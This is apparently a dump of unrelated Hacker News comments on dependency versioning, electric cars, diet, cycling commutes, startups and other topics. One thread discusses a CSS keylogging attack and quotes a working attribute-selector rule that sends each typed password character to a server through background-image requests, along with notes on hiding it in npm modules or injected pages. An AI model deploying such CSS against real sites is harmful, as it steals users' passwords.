skysight-inc/HackerNews huggingface dataset:
`=` deps also are inherently incompatible with libraries, especially in languages like go where you can only have one version of a library in your dependency graph at a time. e.g. if my library depends on foo =0.4.1 and I try to bring in a library that needs foo >=0.4.2 I can't compile my program. If I directly depend on foo I can override it, if its nested I can't reach into my dependencies without an override mechanism (which I suspect the go devs will want to avoid to keep the system simple).

Its also worth noting that cargo uses a lock file. toml will only get new versions when add/remove/update a package in your cargo. Normal builds will all use your Cargo.lock.
When you consider that the primary difference is ICE vs Electric, that's about where your "dinosaur" analogy ends.

All of those vehicles have similar technology to the Tesla, if not more: road sign comprehension, active steering, driving assistance (autonomy), side collision avoidance, auto parking, online maps.

And when your market segmentation is "high end", "luxury" as it is here, why _wouldn't_ interior decoration, quality and features be considered?
I think you're right, and I bet Tesla will try to compete with the 5 series/E class and not the 7/S. Model S won't have to come down in price very much to fit in with 5/E. Maybe it will lack fit and finish, but it will have much better acceleration and cargo room (and the Tesla brand, and the domestic badge). The Model S will remain pretty competitive in the market.
I think so, at least in the US in the 90's when I grew up, thanks to things like the food pyramid containing grains as the base. Companies that had sugary/carb heavy products pushed the idea that fats were what caused weight gain. So everything you bought would be "low-fat" or "reduced-fat" but still contain a ton of sugar and the same calorie count.
Is there even a use case where CSS needs to read any field's value? (Checkboxes and radio buttons have :checked.)
If you skip analysis and at least elementary topology your understanding will be limited to discrete probability, at best. If you skip abstract algebra, you’ll miss out on a lot of buildup to advanced linear transformations and operations in vector spaces.

Sure, skip number theory. Like I said, you could swap that out.
I can certainly see a lot of different possibilities as Audi/Mercedes/Porsche get their EV offerings out, but NONE of them, even the concepts (2019 2020 etc), offer similar performance, or even range to the more than year old Tesla Model S P100D. And when they come out.. they will most likely be competing against the Roadster 2.0 and very likely also an updated Model S. I feel like this is 2007-2009 all over again.. Yeah the iPhone is nice and all, but look at HTC, Blackberry and Nokia.. they are getting their iPhone killers ready...
Absolutely nothing magical about eating when you are hungry and stopping when you are sated. As long as you avoid unhealthy, unnatural foods (primarily refined carbs) this strategy works just fine. Animals don't have to count calories to avoid obesity, no reason why humans should either.
Your new edit is also about the Model 3... and even appears to be citing the same original source.
from my point of view all those deaths and massive unrests resulted from various groups trying to do away with inequality, usually by taking what's not theirs.
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I think if you aren't going to simply "ignore versions", like we do in rebar3 and took from maven (we used cargo and maven/leiningen as the gold standards when working on rebar3) then taking the latest makes more sense. A patch version must be important enough to release instead of waiting for the next minor release, which I think says something about taking the latest.

But that is only if versions are used this way at all, I've found, at least in the Erlang world, the model of taking the first "version" found in the dep tree and locking to it to work well. In that case a patch version is not considered special anyway.
SF is already notoriously family unfriendly. The side effects you're describing sound like they'd impact suburban areas more so than the city.

SF needs an overhauled planning process and possibly a way to fast track review of housing in already over priced areas that can contribute to a reduction in median rent.

Edit: what is also clear is that the longer we delay these changes the more A) folks will get displaced that wouldn't have otherwise and B) the greater backlog of housing will need to be built to make up for past deficit and correspondingly the greater magnitude of change to the city in a shorter time (which I agree with you should be minimized to a reasonable extent)
Keep your effort below the sweat threshold on the way there. Think walking-effort, not running-effort.

Bikes are about 4x more efficient, so for short and moderate distances, even walking-effort will get you there in reasonable time.

If you sweat at a walking-effort, try dressing lighter or as others have suggested, use wet wipes and spare clothes at work.

You can also consider an e-bike to avoid sweating on the way to work. On the commute home, use less assist if you want more exercise.
a guy i knew used to say something like “the british are a slave people without the torch of liberty in their hearts.” i used to think it was funny and weird but it just seems more true as time goes on.
Interresting but it really doesn't seem that simple. I usually just use rsync whenever I need to move some stuff from one machine to the other.

I can't really take your word for it that you won't store any files, furthermore that might not even be legal, depedending on your country you must log transactions as a service provider.

What about SSL / encryption if you want to run the server your self, I took a peek at the source code and it be nice if certificate was configurable through the config files or ENV vars.

I think WebSockets should stay in the browser, but maybe that is just me being pedantic.
I overwhelmingly disagree. Counting calories is an important key starting ingredient to weight loss.

What's the point where your resting metabolism burns enough calories so that you're losing weight instead of gaining or maintaining weight? There's no way to easily figure that out without calorie counting. Further, that changes as you age, so doing rare calorie counts is extremely valuable anyway.

My resting burn rate is substantially different from my brother's resting burn rate. Growing up I could live off of pizza and not gain a single pound. I was 6'2" and 155 pounds at 26 years old, living off of the worst carb-heavy diet you can imagine with zero exercise. It simply didn't matter to my weight, my metablism was very high. My brother on the other hand, will carry dozens of pounds more at a similar diet & calorie intake.

As I've gotten older, my metabolism has changed. At an identical diet to ten years ago, I will now carry 20 to 25 more pounds. I have to be more careful with what I eat now. How do you know where that calorie metabolism baseline is if you don't occasionally count? And this is just a routine life example, rather than a serious weight loss context (in which case calorie counting is radically more useful).

After you establish your calorie baseline, then make adjustments to your routine / diet / lifestyle, then you can certainly get rid of the counting. The calorie counting is extremely useful in helping to inform and establish a new lifestyle.

Step one is to figure out how many calories you're really taking in on a daily and weekly basis. In my opinion, most people with serious weight problems will significantly underestimate their calorie intake and will be surprised at how high it is.

Calorie counting also helps to rapidly identify the primary problems in your diet over time. For most people, they don't have 37 problems in their diet, they have only a few (eg cutting out all soda and making pasta/pizza a rare consumption). And if those few items are removed and replaced with superior options, that will take care of 3/4 of the problem. While some may say that the problem areas should be obvious, one of the reasons that people become so overweight in the first place is that it isn't obvious to them, because their lives become routines filled with blank spaces around what they're stuffing into their mouths in a hurry. They literally lose track of lots of the bad things they've consumed in a given week - the calorie counting acts as a powerful mental enforcer, you have to write all of that shit down.
Thank you for posting this. I heard about it and never researched it. It looks amazing and it could be something to replace my Pebble once it stops working.

I am still getting a lot of compliments for Pebble, people often think it is an Apple watch. So Amazfit could be good replacement if I ever need one.
Thanks!

Vendoring needs to be solved and unified, I get it.

But to me, the biggest thorn is generics. I have ran into too many cases where generics would have made my life a lot easier.
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I've worked with people who have started companies in this space and raised a lot of money, and also with lawyers who have represented some of the most prominent companies in this space.

I'd be cautious around even "anecdotal" statements around decreasing base heart rate and aortic stiffness. FDA takes these kinds of claims very seriously, and it costs a LOT of money to get the kind of data FDA requires to back these claims up. Essentially every company that has tried marketing "non drugs" to improve clinical outcomes without complying with regulations and generating rigorous data has been shut down, either temporarily or permanently
Another nice hack by SpritesMod.

The miniature in this case is a really tiny 1/6 scale, i.e. half (double?) the scale of the known 1/3 one by John Leake:

https://www.cultofmac.com/242234/smallest-working-macintosh/
So you're introducers, taking a 5% fee?
> Especially functional programmers who have somehow landed themselves in a JavaScript position.

Or Haskell programmers who have somehow landed themselves in any position. I've seen Haskell implemented in Erlang :)
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I think the study shows precisely that it's not a public health danger to tell people that.
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Maybe you can expand on that, and/or show me something more abstract than category theory. Programming = abstracting information processing. Category theory = the mathematics of abstract functions (or morphisms a.k.a. changing something)... so it makes sense that CT captures something very fundamental about computation.
It hasn't been done because it's uneconomic with current technology.

Space mining is a nice idea with no practical road map. You can't just send tools into space, aim them at the nearest asteroid, and start drilling. You certainly can't expect to start building viable habitats yet.

The industrial revolution was incremental. A steam engine wasn't a completely new thing, it was just an improved source of power for existing technologies like spinning. Mechanisation could proceed gradually in a relatively comfortable environment with plenty of natural resources.

Not so in space. The problems - energy generation, mining, refining, distribution, assembly, sustainable life support and/or control (and probably defence) - have to be solved all at once, or you get nothing.
It's about the selector, so the question should be rephrased to "Is there even a use case where CSS needs to select a node based on any field's value?". I think the answer is yes, but it can be limited. But it can become annoying to have a blacklist of attributes that aren't allowed to be selected on.
It doesn't even matter howe calorie dense the food is as long as you severely limit carbs. A slice of pizza is about 107g and has about 285 calories. A stick of butter is about 133g and has 810 calories. See if you can eat as many sticks of butter as you can slices of pizza.

High fat / low carb foods are very hard to eat in large quantities, unless you pair them with sources of carbs (put the butter on bread, add BBQ sauce to fatty meat, etc). It's not just the caloric density, it's how much of it you can eat before you feel full.
Isn't that what the map on the wall is for?
I'd hate to ride anything 'supple' on my commute path, which includes a lot of debris and broken bottles.

I do miss riding on smaller wheels though. 26" was much nicer to get rolling than 700c, and there's a lot of stop-start. 26" rigid bike are extinct now though it seems.
Ask HN: What could be the entry to cloud career for self taught learner?
If someone is who self learner who is interested to get job in cloud field what he should do? How about doing some certificates from cloud provider(Amazon,Google or Microsoft)?
Actually, I think the SAT solver is avoided by making the only version constraints of the form <=.

Using the min version appears to eschew the need for lock files. Want to upgrade? Bump your min version.
I've been working with Go for 6 years, your complaints are not "totally naive and irrational".

I don't mind GOPATH, but I did argue that if vendoring was to be a thing then it needed to be dropped entirely. I was also not a fan of the vendoring mechanism.

The approach given here looks much more thought out getting rid of each, first proposal I've actually liked.
I don't think it was about videogames, more likely upscaling algorithm would have saved a TON of bandwidth for videos.

a a matter of fact some of the most recents algo available for video deinterlacing like nnedi3 are perfect for that, and of course also work for pixel art, and I think they blow away the example showed in their gallery - https://www.youtube.com/watch?v=0691zsXWbhA

I wonder if now, in the tensorflow era, a better automatic approach using generative nn could be devised to reach beyond 8x
Yes they can. This attack does not have to be carried done through a chrome extension. I simply chose that because it is the easiest to show off. This can be hidden inside of a malicious npm module or injected into a website that has poor input sanitization.

The most important aspect of this attack is that it is carried out through css. It is possible to block remote javascript code from an extension, in fact, if one wanted to inject javascript into https://instagram.com (my example on github), they would fail.
I literally cannot fathom why anyone drinks soda. My parents never let me drink it and never drank it themselves (though wine was always allowed). The other day I had a sip of Coke and it was so sweet it gave me an instant headache and I needed a full glass of water after. Why do people ever give their kids soda knowing how terrible it is for you?
Use a cheaper, junker bike for commuting, or a folding bike that you bring inside.
There is one big difference - Canada does not have the same heavy-handed legal punishment system that the US does. Possession for distribution doesn't run the same risks for (essentially permanent) jail time like it does in the US, but costs as much or more to the legal system.

I don't agree with the civil forfeiture policies but I can certainly see how & why they are developing here. It's an attempt to remove the profit motive of crime without adding to the already clogged and expensive legal system. Again, I'm not judging the "rightness", just understanding the logic behind it.
preach! They are announcing concepts, that dont even eclipse, the current offerings. Next year you will probably see a performance Model 3 dual motor, faster than any BMW M3, M4 or Mercedede C AMG or basicly anything, in that class.
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These criticisms could be valid for Jupyter Notebook, but remember that JupyterLab is what's under discussion in this post. JuptyerLab is much more of an IDE-style than Notebook, and it includes very capable terminal and text editor components.

Although I'm new to Jupyter Lab, I just tried it and it does feel like it could be a very approachable IDE for educational use.
this is actually a standard first example in Fourier analysis, since more than a hundred years ago
That's not even what this article is about though. What does political discourse have anything to do with this?
> Over time, though, version pinning builds up technical debt.

Version pinning does not. Misusing it might, but don't do that.

Version pinning of dependencies is a tool for assuring the behavior of releases, but in development you should be generally be updating to the latest stable version of dependencies and then pinning them for the next release, not keeping the old pinned versions.
because people continue to live. those skilled in making money make more money, those not - lose more money.
Yup, you'd have to have all permutations of any length password in the css file AND it would have to be pre-filled using the value attribute. The original post on this talks about it in more detail: https://www.mike-gualtieri.com/posts/stealing-data-with-css-...
I don't see festivals.
It is up to each person. I fully agree, that keeping keys in memory disk is better. Also, one more paranoia hint - generating and configuring dongle on something without management engine , it might be SBC(Raspberry PI) with enough entropy.

Seems i must write mini-guide how to generate keys securely, based on suggestions.
Hey testb! Thanks a lot for your feedback! It's awesome to know that you're from UCSD also!!

I would definitely love to talk with you, but I don't see any contact details under your profile..

To address your thoughts, sorry for the confusion! Songsnap is the name of the music streaming service and Galiboo is the name of my startup.

Also, out of curiosity, which name do you think would be better for the music streaming service? :)

Moreover, I've given a little info of how I'm different than Spotify, Pandora, etc. in my comment above.

I would absolutely love for you to check it out!

It's great to know that you tried out the demo!

The main tech that powers my music streaming service (and makes it a lot different & better) is an AI that can extract emotions/tags from music (which is the thing you saw at demo.galiboo.com).

In fact, the tags it output actually have weights associated with them (indicating their relative importance), which I don't visually show in the demo. I just realized that this can probably cause a little confusion!

Also, the funny things is that I have actually built an API for it: apidocs.galiboo.com

But I wasn't sure if developers in general would love to use it.

What do you think?

Also, I would love to connect with you! I couldn't find any details on your profile, but it would be nice if we could connect another way!

Thanks a lot!
I'm having a hard time interpreting your comment. It sounds like you're trying to argue against Dr. Gardner even though you agree with him. He's specifically not disputing the fact that calories matter.
I am so glad you wrote this, as I was thinking the same thing. I am big fan of Pebble and it still has loyal following. Botching that, no matter Apple and others, is really not something that would recommend someone.
Browser support (not using Flexbox because of IE) is not that hard once you get your head around it:

view-source:http://alistapart.com/d/holygrail/example_3.html

http://alistapart.com/d/holygrail/example_3.html
Is this true?

It sounds a little like gym-science.
Yea to me his comment reads as a whiplash to realizing some of the downfalls of haskell. But he seems like he takes it way too far.
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Atlas is starting to create a really vibrant community. Matt Richman joined the team recently and is spearheading events, a Slack channel, Q&As, a weekly newsletter highlighting the community, and more.
Jesus, I remember being blown away by 16MB of HDD storage years ago. I am older than dirt! Now it’s 30TB, and solid state... no flying cars, but the future has definitely come through in some regards.

Edit: These responses have filled me with a really pleasant nostalgia. It’s a pleasure to have such a simple, yet profound shared experience; the “We’ll never fill that up!...” club. Drinks are on me.
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Yes, that's what the last part of my comment said.
I would have preferred to see context provided with the statistic (as it should be with every statistic). I don't think that usage of that statistic without context is meaningless given that it is the official US estimate of poverty. I certainly don't think the usage of that statistic without context warrants anything close to the vitriolic language that you used.
This is incredibly helpful. Thank you. I definitely understand the need to have a clear understanding of the software performance, and I have many of those details already nailed down. I absolutely plan on running an MVP project first to see if trivial tech will suffice, and to get a feel for the firm/freelancer that I'm working with. It could be that my project is constrained enough we do not need the same level of sophistication as many models.

I also am entirely willing to push my project offshore, so long as I can communicate with my partner and am confident that they can deliver.

If I wanted to engage your firm, how could I get a hold of them/you for further discussion about my project details?
Now I understand. Thanks!
The CSS attribute selector matches against the character at the end of the word [0], so you just need a-z, 0-9 etc and not their permutations. From the end of the readme there's this example:

input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}

[0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...
Think you should tone it down a little, whether or not I agree
Is the power draw higher when splitting to more chips?
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Thanks OP - that answers it!
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Admittedly this is only partially informed, but I am pretty sure most animals don't have access to enough calories to be obese. And those that do (e.g. pets, zoo animals) are (sometimes) kept from obesity due to careful calorie counting by their human caretakers.
Bread is nothing without butter.

Exception: freshly baked baguette or ciabatta.
I appreciate your skepticism as there should be more of it when addressing these type of health topics. I wish there was more of this type of healthy discussions in the place of healthcare.

But back to the topic, my mistake for generalizing the statements above. For some who need to reduce or should I say "monitor" their carb intake, such as myself, I had to drastically reduce my carb intake due to diabetes. And sugars are particularly a huge culprit for this problem, but I have to significantly reduce consuming potatoes, rice, pasta, even healthy fruits. So for many in these categories reducing their carbs is necessary.

The space of nutritional science does contain lots of research but some are very limiting and over simplified. An example, I've seen studies of arginine consumption and how that effects the aortic heart stiffness. Some of the studies only lasted for 120 minutes and concluded that there weren't any effects. But many many longitudinal clinical trials have shown improvement in heart health through decrease in heart stiffness. For us, we still have to comb through all the papers of published studies and make sure the conclusions made are just an oversimplification of lack of rigor in those studies.

But yes, we want to make the data and information more transparent as well. Thank you for recommending that site. We've definitely checked it out but will check it out again.
SSD power draw has never been a huge problem, has it?
No, since it matches only the last character, you watch the requests it makes IN order to get the entire password. As you type "qwerty", it will request "Q", "W", "E", "R", "T", and finally "Y"

no permutations needed